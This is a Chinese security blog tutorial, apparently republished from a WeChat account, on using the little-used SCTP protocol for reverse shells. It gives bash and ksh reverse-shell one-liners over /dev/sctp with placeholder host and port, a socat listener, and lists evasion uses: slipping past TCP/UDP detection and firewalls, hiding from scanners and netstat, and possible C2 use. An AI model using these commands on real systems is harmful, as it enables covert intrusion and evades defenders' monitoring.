探索新大陆:基于冷门协议sctp反弹shell

  • A+
所属分类:安全工具 安全文章
探索新大陆:基于冷门协议sctp反弹shell
亲爱的,关注我吧
探索新大陆:基于冷门协议sctp反弹shell

12/29

本文字数2133

预计要花费7分钟的时间阅读哦

声明:请勿用作违法用途,否则后果自负

来和我一起阅读吧

本文转自公众号:赛博回忆录

作者:漂亮鼠

0x00 前言

前段时间没事做,回去看nmap的官方文档,在主机探测的页面里我发现了一个叫做sctp的协议,nmap通过-PY参数可以使用这个协议去探测主机存活。那么重点来了,sctp协议是什么东西?我第一次听说。后来百度了一下,这个协议居然是独立于tcp/udp之外的另一个ip层面的协议,而且这个协议本身类似于tcp存在多次握手并且是一种可靠的数据传输协议。这就比较有意思了,如果这个协议可以用起来像tcp但是却不是tcp,那想象空间就很多了。

0x01 试用

我这里就不介绍什么叫sctp以及他的协议交互原理是什么了,大家自行百度一下即可,比如看看百度的一些简单介绍:SCTP协议详解(https://blog.csdn.net/wuxing26jiayou/article/details/79743683) 

我的目的是测试其是否能像tcp一样使用,于是我先装一个测试程序试试看。目前看来常见发行版默认是不支持sctp协议的,我们需要安装一些支持库。

apt install lksctp-tools
modprobe sctp
lsmod | grep sctp
checksctp

上面安装了lksctp的工具,然后开启了sctp的支持模块,现在linux已经正常支持sctp了。安装完毕工具后会多出sctp_darn命令 我们先来看看sctp_darn命令的help

探索新大陆:基于冷门协议sctp反弹shell

通过help,我们可以给出server端的命令:

run SCTP server in one terminal,
sctp_darn -H 0 -P 2500 -l

上面的命令就是监听本地地址的2500端口,-l是指监听模式 下面是客户端模式的命令:

run SCTP client in another terminal,
sctp_darn -H 0 -P 2600 -h 127.0.0.1 -p 2500 -s

不难理解客户端的参数,就不再过多解释了,我们开两个本地终端分别输入客户端和服务端的命令,最终测试结果如下:

探索新大陆:基于冷门协议sctp反弹shell

(客户端)

探索新大陆:基于冷门协议sctp反弹shell

(服务端)

0x02 部署到真实环境

上面是本地或者是内网环境,一般正常情况肯定可以通信的,但是我们知道真实公网环境存在大量的nat设备,sctp协议并不是tcp/udp,能否正常通过多层公网nat转换将会是其能否正常使用的最大问题。接下来我们就尝试在公网部署一个sctp服务端,并且在我自己家的内网起个客户端去连接服务端,如果能正常通信则这个东西就很有价值了。由于现在云服务器大部分时候都是在虚拟内网然后通过面板的端口映射暴露到公网,一开始我尝试用阿里云,但是阿里云的防火墙只支持tcp/udp端口映射,这自然是用不了了(这里就不截图了)。后来我转向使用谷歌云,我们可以在谷歌的防火墙映射上找到这些:

探索新大陆:基于冷门协议sctp反弹shell

探索新大陆:基于冷门协议sctp反弹shell


完全支持,并且不只是sctp,其他几个冷门的协议比如esp、ah、ipip后面也可以研究研究。那么我们就现在谷歌云上把sctp映射打开吧。这里居然只支持直接打开和关闭sctp映射而不是针对某个单独端口…… 先不管了,配置好后,我们用之前用的测试命令在服务器上进行监听,然后本地发起连接,我在本地进行抓包可以看到以下协商流程:

探索新大陆:基于冷门协议sctp反弹shell


可以看到协商完成并且成功发送data,具体的我也就不贴了,至少证明了一件事: 我家->出口路由器->公网->谷歌云防火墙->谷歌云服务器,整条链路nat都是支持的 网上说这个协议之所以没有大范围应用,就是因为nat的支持很有限,不过现在2020年了,看起来至少可以用了!

0x03 实现反弹shell

可是这么冷门的协议遗憾的是绝大部分操作系统不是默认支持,虽然各个语言都可以编写服务端和客户端,但想像tcp那样一句bash就反弹还是有点差距。搜了搜一些文章,似乎主流版本的Linux和Windows默认都是不支持的,需要额外安装相关的工具或者开启某些模块等。但是!ksh却默认支持!

探索新大陆:基于冷门协议sctp反弹shell

探索新大陆:基于冷门协议sctp反弹shell



这意味着我们可以在ksh的shell里使用类似bash中/dev/tcp/host/port的形式使用sctp进行反弹!那什么服务器会使用ksh作为默认安装的shell呢?至少几个主流版本都不是,但是ibm的AIX默认是ksh

我这里临时没有AIX的环境,我直接在虚拟机里安装了ksh。 经过实际测试,只要安装了ksh的系统默认就支持sctp,不需要再开启其他的东西

sudo apt-get install ksh

参考了一下ksh reverse shell ( https://gtfobins.github.io/gtfobins/ksh/ ) 

我们给出ksh下的反弹shell的命令

/bin/bash -i > /dev/sctp/host/port 2>&1 0>&1 //弹bash
/bin/ksh -i > /dev/sctp/host/port 2>&1 0>&1 //弹ksh

客户端的反弹命令有了,那么服务端呢?最前面我们演示过sctp_darn,作为测试这个命令已经足够了,但是作为接受反弹shell的服务端他就是个垃圾!这里我改用socat来作为服务端,socat亲切的以最简单的形式支持了sctp的服务端和客户端,这里我们作为服务端只需要如下:

探索新大陆:基于冷门协议sctp反弹shell


我分别测试了反弹bash和反弹ksh:

探索新大陆:基于冷门协议sctp反弹shell


都可以非常正常的接受和交互。

最后再补充一个抓包流程来证明确实是走的sctp协议执行的shell

探索新大陆:基于冷门协议sctp反弹shell


这里比较有意思的是我的wireshark似乎把协议识别错了,把我发送的pwd指令的包识别成了ssl协议…………

0x04 扩展

本文只是演示了sctp协议的通信,以及给出了在ksh默认环境下的反弹sctp的方式。其实使用方式还有很多,各类语言其实都是支持sctp的,大家可以在这个基础上自行实现客户端服务端程序即可。由于其并不是tcp/udp,因此可能的用途:

  1. 可用于逃避基于tcp/udp的流量检测规则
  2. 在限制了所有tcp/udp出站流量但并不是限制所有出站ip包时,可用于出站回连,并且较为隐蔽
  3. 其监听端口并非tcp/udp端口,因此不会被fofa收录,服务端即使暴露在外也不会被人探测
  4. 常见命令比如netstat,老版本可能并不会默认显示sctp协议到面板里,其次如果管理员习惯使用-tu等参数指定显示tcp/udp连接,那么其也不会看到sctp协议的链接。
  5. 很少有人关注,即使看到这个玩意也不一定会觉得他有问题

抛砖引玉到此结束,我觉得吧,这个东西估计在实际中被应用到僵尸网络或者c2里也应该是有的。不如开个程序满世界扫扫看,不过由于其端口号独立与tcp/udp,端口号也是随意设置的,要想测绘一下估计还是比较费劲的。

12/29

欢迎投稿至邮箱:[email protected]

了解稿件投递相关

请点击公众号菜单:【来撩我吧】-原创征集

有才能的你快来投稿吧!

探索新大陆:基于冷门协议sctp反弹shell
快戳“阅读原文”做实验

本文始发于微信公众号(合天智汇):探索新大陆:基于冷门协议sctp反弹shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: